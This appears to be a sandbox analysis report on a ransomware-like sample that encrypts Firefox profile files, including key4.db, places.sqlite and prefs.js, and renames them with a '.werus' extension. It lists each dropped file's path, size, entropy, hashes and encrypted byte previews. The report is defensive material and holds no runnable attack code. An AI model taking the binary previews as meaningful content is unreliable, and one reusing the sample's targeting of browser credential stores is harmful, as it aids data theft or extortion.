Preview:	.I...t..RG.j...........6..Zfc..YP+.3.._.m....M.&..A..E'Y....c..^........%..\|..g.<~.w...u2......R.8...)..zb........../?Tz`."........j..".Z...R(.T..v,.D...O.Z..&..Z..qYz.....:.N.8^.D..w......lw....B.V..1.t.c<iT,......i...\|.......M\|~\|.d...E........ng.7...(..k.;.n....._l.Bb.G......g{._K..QU..#.cQ.]..l.&. .*<......$...........L.]{.....D.....8[a.#1.5..R..!M...........f...{........}....I.OXE."..M,........[.......V.PB...h.J../..3....C-.t..`o..7C.g.3.'n.....B+v...S.f..0.h.~k9..{..^;.2...].`.._%......O.M7..:.U..-.]..........\2..9.'......n.^..-.h..Lf.+.yKF.f..W4._.})~4[..Q.)1.......i.=..uv.q.....2.t.SI....D......C.`U..=a...I.A...0.....d..\(@.k\..Tv4:...T.._p.s.......(.e........p..O....f.90.k._@..%....G... ...Ue....0.Wj..%+..B..a.b..._.,...c.x.(u.........N...p.F$Z...I..2.sa0....../.ZR...+e!....K.a~.H..u.0.M..X3P$.k....oT..<.7...r.w.i^.....?..q..F._...w[.u.......A ..kme.<+.`.#....:..iBd..^3..G.V..!P...<..\|<........T/...Ed....Xf.......3j@OB.3L+...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	7.952135427760742
Encrypted:	false
SSDEEP:	96:nkLQPVZC5sqSw+MlANQm+ovDqWo8AFi/vBoPnBoziTKQt:nk+VZCWNHNTHvD28AM/UnBoziTV
MD5:	F024F21A4822CC11F46CC34F1A2CFF18
SHA1:	3E29E4E4134E3209A6BEEB0FDEF092650F25A912
SHA-256:	FD580F9E213F5FEBAD364B246DFEF4EF6093CF711F4ECAC18D211E49D1213BCD
SHA-512:	6CAA0727E6AACE4ADDF02D788406BE50EC3E6ADE702DF0B6D678D8ED1DACBA86770584CB7BC377F7FF93E5D2D2FEC3FC5628194A01CD410FE1F0E3D132B80CEE
Malicious:	true
Preview:	.I...t..RG.j...<...S..'le86.a.:.{...B.a..P...N.:x)H....c....g...-..z7....i.._.b.K..#.~.....0.X.....y..J......U,@..S....}....9...^8I$.88n..>.(....&C.....v..a....g...M.....U.j...A.@.2.3&)C]g....T...Z..y.2..2..]vR9.$-{q.[>..dXO.+#..".(........(w...vu.... .E5..i.;9......s._{[F....._....i...Y.^.hR...U.'U..@.?"#..{.XP!,.-.M-G..y..l\.<.G...154.."..c53..={.x.C.&9e O.?...>/tf......G.5....+p.i}G.."..............Y.....E.\|M........m...N...xs.5....:e....0......36....\|;.\....6BQ...S.I.F..\|.#.5Z...l.{.......k...u1iS.+..B..SE..k.....#p...-..m.~...h..d....^.\.....B...A.v.........\.s ..r.....ax.J:e.....@<,RtS$s...(..y.t..2...c..Ibp6......C`.})......F.G..U:..!..c.F.......qd.bW+.e.0.....A..&.p.P..Y...Y.]]....,K^.Y.O..&.*5H..F...7........!.P...{.p.x3..+..H.n...E...pf...P..~9.c.y...+..q.~w..4....}..:.....p..=.[...<.u.Dk. ]..K.W.E.....Y...$.=T..=.8f3J8..8W...yF.b`...).&.@._./..#.b......U.^....U.2...9q^.~:...FKL.j...I!n.`n..3".P,.4F.5....GN!.L.?ri9^

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.969291490759521
Encrypted:	false
SSDEEP:	3:Z8SvQodmcgcq90Bgwzm29E8OqtWHh7AE5lcv3Wd/nQf3bKRAKbot1:ZoodhZqG7EIWHaEfcPensuR61
MD5:	026989D44D98E3BB4A8CE27B2F5997AE
SHA1:	CBBDAED38811FAAE5D82FA3A71F1FB77BDB1F625
SHA-256:	82C318153DB26EC89748ACB639FFD50D59E4276FA042FCAAD4990F0086E7B923
SHA-512:	578855FF6569D5D94343D5351FB4C2C8E2DBB62353F5F096BA5F10C93AD45638005E41AA93C691A1EE92D5E5D4E964BB280E422F8EDA700754C454736A3A648C
Malicious:	true
Preview:	..T...[.@...^Rc......{...C..xGY..C..1..+E9.L..%Y...8.v~.h.j..4.\|.1.o[.W-.~.W.D..h.../..V.......W..._.a!.0\3.5.HK.....>VN...u....'g.:.....(..`o4).S.Tl..m<..u.NS...\..0.(.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.71875
Encrypted:	false
SSDEEP:	3:UAT1a7XTqL/5G92LFwC:U17X+9GAwC
MD5:	1D7025D9C4C095F72953680D742D6CDD
SHA1:	A38EACC30858C5BDB681BBC756F99F1EAB0DC6AA
SHA-256:	B8A90A4B0E5F1FF18CBB9768472D516DA5CBDCCEEA32A57CACA9F31A3AC9CE2B
SHA-512:	F47556F999D6DC4CB8F629B6D5E409421000294FB490C49DA9A234947234713262CDB303C1C60190EDD9C9E2A234625AF0BDA1E1660086D111D2F7D1ED785161
Malicious:	true
Preview:	0r>(.Dn.W.u..3X....!...t..~O/..y>-C.%.I..m{....y.S~Ez;xd.v..D(.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1104
Entropy (8bit):	7.809409440308803
Encrypted:	false
SSDEEP:	24:A5038KtfXZcYqPWbHuJoDxEHEHkHjXxySS7igvBq9WvHxUX:Ae38KRBruaDxE08XYF75v4AfxUX
MD5:	67B06F1718EDA457F8BC486CE423A8A9
SHA1:	956349C8A978C69366F7578681CDB1F0F4469386
SHA-256:	248D549A8EB8016074AADEA0336E9B6AA45B25B831EBC777729ECC0C1B0026C3
SHA-512:	604881E11F9FAA2C076A8B1A99649BEE086337154A70F35C02958DEB6312DB39FFC49CE0CD28A739EB7B713C404742E8B51ECE5C8D5838462AE4997CD4BB93BA
Malicious:	true
Preview:	.h.....Y.. k..RY...m...s...R8..q..\..LK...90..%[..b...G.~....#.T.S.86D...}iPkR..\|.P."0..D...=..+d{]a--.E&..h.$...g............C.............c.C......Dn\....is9...N...~,.....)F.@A...Q...).@..v....x...e.. o.i.u+n.C.?...e.v~Q[;.zK...P.6y.e..9.:.0.&.."ia...y..\|\..........B1.F./a..Z.]R.$>N-.....:b.qA.-......('.<.......!dF..5.......O.........l&.c9m....A.!~l..Q...p~a.~OA..m.D..jf..Z....= ..y.........G....f...h...35r..]...y(i..C.K..'f..W;^...U..P..G..........q..PWb..yV...<5..D.B...&..r.....X.e...;..00........R?..c.A...{a.....l.I..Hn...;....XZ)}.....F....at>..].X^.Sp.3v...fQ.q...T."(..z.................U...oU5..!....i.`..l.y....5.4."2*.j..h....6.......".S...3.R.i.eoh.5a...T.....b...1.>. .n....z4;....2.M.\Q....sm..../$....d......!.........o6.C!..W.,...JwER+.9.n..r..a....r.@..B..4.U....kY..$...8....9..........]w$".....aE#.Pl"......}.......l..j.;:.{....\|..p.-T'.{...^...H{.c.\|l....vOl?v...YI..._..p.....<a$..@...]m.dY.&...c -.kB.R............a.s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	36832
Entropy (8bit):	7.995168868270361
Encrypted:	true
SSDEEP:	768:ot8IHD7adThVmkqpilCNbe0KwAWV6agIat8+5jOG/nUGwz:otVj7M7B6a6b/+aqt8VG/UGwz
MD5:	669F76454426D8D825AA8EEE33A85CB5
SHA1:	DE3B15EE658FA99D27A56ACA4FCE6DED909FCF11
SHA-256:	F43AF0EFD600067B17A1A5DF38BE30BB37A48B8CB8FB01AE715D3EBE4706DF3D
SHA-512:	149D56E14A81FCEB6B385A941178571F7A1C3D1CB9C1BDEB3053F08AF56AEAC071CB6046F11BAD115AC374E52309D0F556F170C44A781C35C8D067C8A88F40C6
Malicious:	true
Preview:	.L"L...V.c7...4!D2..n...q%...33[y...}x...\..h.A..{U..-P.`.G_.Cid].D...R.0$.....].cS%.e..0...l.2!1r..........z..."8^Qo6......F....'Cs.v.@r..6.}..^...5...A.'.8.x)..&....o.A..%...........A..1.~.5.{...m...._h...d.V..~Q.... ..8.._.a....-...6......V..'+.w......6.K...g...a..p..:...I44f.!......%C:>.k~s....Uh...V. .L#..(...(.+...o.g....H..U..H(FV.,B'{Y.1...........'...,...0..-.Y.L1...S)B..]Z[F.1..!...\R.C...l.8.....@.t..Zp...`B...M..)U/.e.sGs.)i.P\|.sp../..O#.f...l\|1..;..@..7fU.k..$O?d}..k{..<..^+:..sj...{N."......Nj.+OZ..e.....5$.J.z.]..C..v]...Kz. b.....'.B..).=:..7.F..-l+:...oeHEY......~.,.H...m..h.x.!j..J...k....m.lkz....~ia_5.-.0`..f.1l...S.`....;.5.$/.........q.......m;0o..e.....#...........p..dc<:w\|.r.3s$.K.8.........l.i.G..v.....R..=....t.$.8..~.....n..qE.+.L......{j..;P..kj......f6........t.@.I..K.V.(.z.;.............Y./..)..%7....!.n.nn.....P..M.I...`K.Z..r<0. .4.0..-.....?^..vhI..8.I..=....M..9y\+.w.\|.9.....*.....c.:.N.F...j.....l.F.v....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5242896
Entropy (8bit):	7.999959312299288
Encrypted:	true
SSDEEP:	98304:6kufDka4fu8qsMVq8EhRDCov2/ye91U1iazprMdtTisauzy7eKFukKhn/AoaTPa:6bOiXE+u2/yGU1VhChUeKFuTh/AVa
MD5:	67BD1C8743CA3B8F57485B96671B6BA7
SHA1:	53AC70DA8AEBEEB32C4E6F520C932C53C3FBCE2E
SHA-256:	D909CD64B01F561D15FEA376C621B11D5354A615D58EA97851AFD52ACBD27ADD
SHA-512:	1977174A416F1519A7DE830D5EB6E3AD848C5821B3D998AAFE64EE480724F0719C0501F63E09FA568736679BE503341BCDBE94DD31AEFAA0B3FD20F2ADA6D18A
Malicious:	true
Preview:	?+..V.....%...O....if..9Eu&8.O.Z'..w.....`..O.,G...".C..B;...u.>.h ^........,LJ.....J......8q.n....z.(i..r.../.O._.8.<.@.$.9[wL0........f0t......Ta...N.Q...RrO....%"....@.C........ ..............ga..t..x+.....N.7.#..E...a.\|..iM....BV?O;kb..._?......e..>........`..E..V^b..ujJ(..Q'.Q..fR,...;...9..cx.O.T..=..D.K..........,..+M....":..q"/..... ...#._.....9\|...2,t.h....Z;!..J.r...>..q.....F7.?...w...n...6..9b.4y..ukV...&...9.H........h..E.z'Z.-h..W.P...I.p....._9.p........L....!y...a.eEU.l.#.G0.cJ....u.4..v!.0\|U.1$.B....p{..;.....o....t>t..uF..jj.C..K.....j.....\|X..C...5.,..X..M...R.....!..<...ZN..%`...-#.R'i..Be.oa.....=I3$5q...l..OD.\.....CX.'8.....sX.K....M...9J'.....Q.c..m>.M....c....[....?.3.\|....'..DK.Y1....I.3.....9...8..=4.y...1G..c..b_=o.d..J.....CiY...4.2H..;.)..%..?...0b.....iL%...K....-..z$...rq. ..Q..c.0..rn.....N;....7.4.`;&.....{.K..h.'..\|Z.$M_..7..X`.r.I.d.......4..I..d.b).tEx../5.v.pai.Q&.I.f....d....c...Xo.,:.#'.}3..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.454776034489795
Encrypted:	false
SSDEEP:	6:mt/IjIFiTbKlAZczd+BpKt5J/ZS6ERZDkA4csTsBdwmNtw+qoC0iCV0RpK6fu:wQ8sSt5RZJE7oTmnY+lL/Aph2
MD5:	3051740D27917996971154DE676A073B
SHA1:	0F7AE6C76610E2531A12F2F54BA9D55E4EA64E52
SHA-256:	50D444CD72411D75CC625872C0AA2905BEB8E5192920FE87C85582C95CC8D381
SHA-512:	A9FDDB1A0EBC77432D33D2C1637F4E16C8651BA4B5B8FBED522586D463BE152C75CEEB094B34D5B9F47069690A2C9B65666D41EE8B46C3621961E6CCE32AE591
Malicious:	true
Preview:	bSv...j.Tr=.B .;.z..K"N.l.........w./...q....I..X.....8.Ao..EP.?.uzu.w......{..\|.tKM...O.X.R...h: (........QP.........@l.........p..g......%.q.......~H%W.9.d.....3...bY...M&C.6lv~A...:..Q5.(L.....b...r....~.QS.lK&..'ph....F.3./H....V............V..&#H.;....Zq.l.H)........).!6...!u4...`...gX].^,kr.r1.\..............M.l..........&..f.....A_.......s.RKD

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	294928
Entropy (8bit):	7.999360457413563
Encrypted:	true
SSDEEP:	6144:X8EkbqMQSxKNG/HNxT5wTa4ne9PC6y1kDuhSz1YK/iea6VS4:X8DuMZx/LiacoPCG6SyKxb
MD5:	80D37E3A196B229068CD261B99895C13
SHA1:	75F1F1582E43B8663B5A1657C21E4EFBD06DE037
SHA-256:	726A9E31AC69D66143C97E53970F6A5E2B79324507397136921044BE12E11998
SHA-512:	3B9D0ABB47C799787CD8ABEB2B3816964709697358F79CE4C9A935B87EA3D16B5DF1B9F0117F47D133E5F01FE16C0105052F283EBA197D63A18042780799154C
Malicious:	true
Preview:	?+..V.....%...O...cL ../.T..>W.Ogs....?..E...=..nu4.]....a...?4...:..l.e.,l........8.f.y#...GY"..e..N;..6.^...=..V..M4Z....$..D.....K-c.tzly..U.2u.y.....H8...d@.Ml^....`b........8......#..V..W:...{.DgJ..n.."...... G...n.t...J.+...)..F\|....O[gE..~N%..{`9.......m5.So..R..'.3p....2...Z.b.......9D.o.[f~.1-D.....q.7..2......Z1.G.(c.a:...,.1...........U ...F....Z.Z&[}h.$s....=......!.{....nw..?.....yQ.{..R...J..c.U.Y.j.Y.e..{p.4........a..'..@~..'.?I...7/OH.8.k.._B5k.hMHj.h...]wv..`R%.F..U"3O.........(4\UQ...vMaX..O.}Q.#.....Q.@.v...........y.L..&.......8.....n...~.>^<...u'q..L.6.k..G.ik..m.A.........T..e....L..q...(2_..! .[......n.j..0..e..^.....?..!..mph.Y..f/Nz..%t...g.8...c..T......^...o-".)...P....bC......T.@..p\.A_..2j........DW..I.$......j.....+.....0."h{...g.....\|.U....0e.#u8IGw^....~L..."hV.o..K.i.X.&..{./..++...+0.....`......m.c.]<j..K)ox?.I......k..z.W.{...P^.ao<.~...o."$..;#..EHJqD....7....n+o7nk8......P..(....I.op.3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.997879318631711
Encrypted:	true
SSDEEP:	1536:HbWtM4vjOHZtyBnhEmskAfIf4De0WZ1k9faBPlQV99j5lPfCR5xmPNeTmeNyEMvM:yjO5mhskAfIl0padmNCRkNeakME
MD5:	DE20BF3E62891DB9558BF434A1DBDB9E
SHA1:	87D1A58C72DCD149F4FD7419F2CF52EBE720192A
SHA-256:	CABDDE1D11D34D89B7020BD70A31E68CBC8FCB42D2326ACDDFBC26E622DEA729
SHA-512:	E64DF26795091A3B20C3DC4101D779FACB4BDDFD0C0315FD06A91469D25F6C267E12BE4F15DF8C9042DADCD228404BBA7F0ED3ADF00094746430DE8907620D88
Malicious:	true
Preview:	?+..V.....%...O..n....(.S.x....#.K...z..............;.[....r...f%......a...=!....:.l.$...XR.....,k.5.VUd....R.N\....C.Q3H...>...ok...U..q72.R.@.....~3.r7..Pl.w...HB`a.o....,..;...\|.9......:zVm...J~.........U..5...ix.u..\|.....W9..f...%vK..UYi....i..........qmVr:.....+A.T.$......b.8k..`.._9.H.....6...s^i.&.K..Q.!....U....K..$..$z..^Z..`......v.2W.{..)&.#..d.\|...x.Mr.l.}..pU.&.[.l.w.E...G..N.....,G.a............3..7J./n..RS.OY....^l...yd!......}.M6.....V'.\|..M..,nH[...-m..xSl....JTp$..X...._...m..4...J;e.i..LS.A}...*.}.!...}...0I.&..kf.V.^.T..g)T.CkB.'<.x......s./fb.A;.'W...6.^..F..d...C..._p.7..h...Fu..... O.t..r.Z.~..v\|L.,..V+..)...Xc..c....wx.[......3).@.[c..Z.3?....Vo.....px.......i...(.%O..^./..O..rV.X.`S...k.%yh92.E....$.9.....\..{s....!;s..+.+.c?.'.)..v..Y.:L...&....U.z..Z(.....v&.!....I.Q........Hi.D..JY>..k...m.l..dBy..s..."..zf...FX!.....<....w6 ...P.G'..L..yI).dp>....=.Q.x.....V..Ky=... G.BlO..U.u.......@.D......B..qg..[T....v..h

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.571259747571363
Encrypted:	false
SSDEEP:	12:6MbV8e5EX+VrdRlo3DxNdCaOLY0201176v42/0:BVJw+Vrq3jKL8v42/0
MD5:	D9C30BF84A5D582DF9DFEF4054F10B5C
SHA1:	18BFDAAADD431DDAE2637F67D165F9DCAEC4828D
SHA-256:	169A3572A5133F2E748EC1758854FB0E67D5B1C7AEA0BA468368B99196A8C1A6
SHA-512:	A80716C7E76BC7EBB05DD89DDBDB02E02982DC6FC48176BE7FEE304783598D4010C9E9ADE421C74AD38C76E6B8F4964390D7BB26BB94B6BB41141533CF20ED47
Malicious:	true
Preview:	...!.........S.LG...}7..9.2.7.<.:...N......~D.X.C..-..R{T...W.+w..../..~.?p..cN.f..$...E...D.qi...n{..c...>.R.].....8.....G..~.P..h(....s.)E...na.t,..<d.a.$fj;.c:..B..a.......a..~..F..S.Ys.......h...<.!...M..Z.LLk0_.....\|._...e ...}..7I.h$.iaW.......Cl>........5......y...#./...'\D....72....+.M".m..]..z.<..j.G...hC.&e.Y..X.S. ..V...p....?.u,}V.T:.b.........o...N...A.(.h...l:.z;.L....AL_.U..G.~.;,....?%...q.W...r{.\.......!.....DN.J...\|lh%.....7. xx0].............z......8Y...p.~..?.z.n.a...l

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994053660747444
Encrypted:	true
SSDEEP:	768:JWYVXbgTzLyMGvaZMNy4SgpIMsc+gGra0we6/:JWYdgTzLCiZMoNUI2+gGra0wL/
MD5:	D72EEE49E3BF7AA7EF0AAE59B7A3B8F1
SHA1:	EA3A60755D3D6B0D81E36504A7DFB53952B6CC7F
SHA-256:	914489CDDD617F5C13394E86440A2E8C19902E6B0999F969A8536473B0BDF131
SHA-512:	FCEDB39068F7BD3F1278CB0B3D6ED74D1AB2AD827558D41F3F94B7A052115AC2B15644FD50BE12949E507D456F7104D233AA86C58BE2B70B908912A35D8845C1
Malicious:	true
Preview:	.D.}...z.i..?..~....@.uVTiV.P.....X'...C.....ae..5.._..U.a7.^.t&_.....;.RRR.U..;.X-.g..@.6.iDn.s..?.O...l..5.,dxr...t.W..RU....V}....~...A._M.%.c&n.].?^L..r.6.2..u..s1..3.R...P[.'K..O..d.%f..X.Q.......X@.Wy.B..?y..(..\/.r.e.3IrF.5.sv.v<..2.D.......p1..\Q...Z.V...cP9J.)......o.6o/...j...`Ck.....$,..54G..",\4.f.Q.....@.v....4.#k:v.......<#qJ.l.Ri...zir_.D.....0.....'.......W!.Z~.O...N..&.k..D\.E....}D...-.F....k{..\|.;.M...2R..ca..sa..`q.9..,...:..{..\|y.....3._z....H...J\|}[..0.`.JV...sa...r.]......s....FL.%.5.S.x..g..N9.#&C"..J..<...r.Z...P.8\|..R.....u.M..2.=#..?.P....x.Hf........O[.}.d....O.:H.c.A.....Q..(....n...?5....5..9.'K.6...W..b(.#.....:......x].....a=.c.9.U.....Y+..5.N....K..n......%....~:'bR....-T..%.R..<&.l.#.S./fY.$.....#.6F.~Q..b.O..3..wk.?Ln...}...y"......f......l..c..+i..,......x.7.k...4.0Z...A.P..G.6.L...{.....h.0.J.....E...9c..!..YHIb..}..#.4c.U[......IZ.H.........C..'....=dr6..W}.....;%.tC...>..va.UjU.k./

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5242896
Entropy (8bit):	7.999965944681838
Encrypted:	true
SSDEEP:	98304:lo3UdWHPz6TEmbXh2DaoNFdSrHd2GNu16lMZxj6G8l7Q1MonkHWGMTewAx:lwHriEGYWoNFcrwVoW6h7Qq3rwAx
MD5:	0CAD8348373F2DB6F5D0E164B860B054
SHA1:	95F3576E1EB5A167AD83F67A373A79C7111927C9
SHA-256:	B1A2DD7C5B92B08622474551129FD7294C5F56DF33BC57A48E0BE1CBB1784D56
SHA-512:	9F60E1BDF8264BC94E6ABA1AA10A0BDACA108A179483963C36089281B76851EC4E5FAFACBFA586AD33D0AA1A37E0716452F4D54E381D44C0734F8F245848420F
Malicious:	true
Preview:	?+..V.....%...O..:.`....1!..k.P.....G\|.8.....Y.....M&`.a{.?....."....%\?.p.a....;.M<.............'~..UX..l...<....,e.....x.N.N.R........$j..!xp...,rU6..V#.T7_....."...&..O.D..lW...x..`.{../<.3<....!....b@.H....6........K.y...!eK.ar.Q...7.....b.\|....}.......N)u....^.P...d..2k.....+.m..u......g..ac......1.Q........K.uW.=Z8.rj....L..x......i.G...%..9..X'..jm.B..;..V...>...$.f.3s...6.m7.........X.z.NN..sX;..F...+.....f.0..L....s...1....F..."_.q........ ..IO...N..;.......0_f.F...G.....u~.S........AX.....1i...Rv...1.n....}._..9.'..~....Z..s.......P..W.....PE....D/. .kl!...W.....N.K.<....H........3..I...V+Y..G.`.5W.._.Y.].]i.....5=-.H.e..d.}..<L.koK.....@...j..G...7...Z...2...-D.....".:.0.."...VE...G.U..Qj8g..]...#....+...H...-........@...P.d^?..0.=....}...........D...`....)..rM....2.nI.f+.....=.g.u.kR..d./...S..X.mp..}.`.c.b?R{.~}.;!..e..}d+,...W..Z.b..y.[>..!t...=.ly......&%.....Q.c.."...&a{`...2av. ..1{B3...)QE(4E.l.%..#; 4 .....O

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	9520
Entropy (8bit):	7.9796986344726
Encrypted:	false
SSDEEP:	192:kpF0A1DS17tHco/0zpev+6nLF7ah730fEFBVWjArNT:kpWeDGco/0QvnUp3oABVWjArNT
MD5:	6A961C004A59CD60A4619D9494D2288E
SHA1:	CBD9FD12B1FC5C6835F1D22A2D132E0884940AC6
SHA-256:	55684A1F063C69A3C38A055FC4D854212641A63955B982333A59FD54B40EF2BF
SHA-512:	239630A683729933C26F48385E50557F16ECCCE9A71C9041B3695C6FE7EAFCA7652219D242DBF7FF948212AA08174CC2F869AF05746F592AE8003A45BBFF4159
Malicious:	false
Preview:	4.M-.d..8..#kg..j..}>.".......T...}.j....k..e..A.....m....}..........B......:...T..l..J.P..rx.....[<.TU......#..9..M.".1..I.']....t..?..;t....U......v..Inz.....g>.Rn.9...]......K..7t..qP.@.C.j.....x....\|....mt...R.....F..al..gF.. ;....V.......]..T.Yao...t3.e.u..y~.".....f...3~U.\|.?.4..r.m.............v..'.4.Gz...p..CqE...A.....,.OH....v../..._dQ..;....5....n.o...........).A....U....\|.8]..p.r.{.t.J...vZF..@.)m. 4c.\|u.(..~...8A..L.0115.U.L3VUzI7LU.WB.].q.).6yS6e..01$....2...H...L<.n\..;.h..]].bSC......p[..n.L...#.~..Pe..]W...S........x.......gRO8..LV..../...4..<.C...G..k.<....DY..._q...,D......-...{......s..x.J..b.[......[...........".......p..^....S....Q(...R$.h#>.$1x.9NH.73...\.o.+.OV.%5K.3..U..H..v.9.'.i8.Yd.....U.......vR....$....U........^b...d..F.*\|...6M...Qi...S.&...U5j>.:....c.o\gE..j]..].5@.y0....<.L...[..6..XEF...7...g].o....~q.....z1[s.g.-...%......4..qi...'.}.....VHb\|.........8..R...u...H..}.Rf@...w.&..B.,zm^...\|H..6?P.!...$S(

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.werus

Download File

